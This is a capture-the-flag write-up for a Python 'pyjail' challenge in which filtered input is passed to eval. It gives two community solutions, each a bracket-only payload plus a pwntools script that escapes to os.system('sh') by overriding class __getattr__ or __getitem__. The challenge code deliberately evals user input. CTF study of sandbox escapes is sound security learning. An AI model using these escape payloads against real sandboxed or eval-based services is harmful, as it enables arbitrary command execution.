#!/usr/local/bin/python3
eval(''.join(c for c in input('> ') if c in "abcdefghijklmnopqrstuvwxyz:_.[]"))
Requirements:
obj.__class__.__getitem__ = func
and obj[arg]
to call function[[]for[a]in[[b]]]
instead of a = b
obj.__class__.__getattr__ = __import__
and obj.os
to import os
Writeup by @Coppermine on Discord:
[[copyright.sh]for[[[copyright.__class__.__getattr__]]]in[[[[copyright.os.system]for[copyright.__class__.__getattr__]in[[__import__]]]]]]
The idea here is to utilize that a.b
is essentially a.__class__.__getattr__("b")
, so we can pass string arguments without quotes.
Attack script:
from pwn import *
# solution #1
p = process(["python3", "main.py"])
# __import__('os').system('sh')
p.sendline(
b"[[copyright.sh]for[[[copyright.__class__.__getattr__]]]in[[[[copyright.os.system]for[copyright.__class__.__getattr__]in[[__import__]]]]]]"
)
p.interactive()
Writeup by @xtea418 on Discord:
[[help[quit[license]]]for[help.__class__.__getitem__]in[[eval]for[quit.__class__.__getitem__]in[[input]]]]
The idea is to call functions with parens using [[]for[a]in[[b]]]
primitive. Previously in pyjail cheatsheet we know that we can do [[]for a in[b]]
, but the spaces are required. The extra []
layer makes it work without spaces.
The rest is simply converting eval(input(license))
to help[quit[license]]
where quit[arg]
calls input(arg)
and help[arg]
calls eval(arg)
.
Attack script:
from pwn import *
# solution #2
p = process(["python3", "main.py"])
# eval(input(license))
p.sendline(
b"[[help[quit[license]]]for[help.__class__.__getitem__]in[[eval]for[quit.__class__.__getitem__]in[[input]]]]"
)
p.sendline(b"__import__('os').system('sh')")
p.interactive()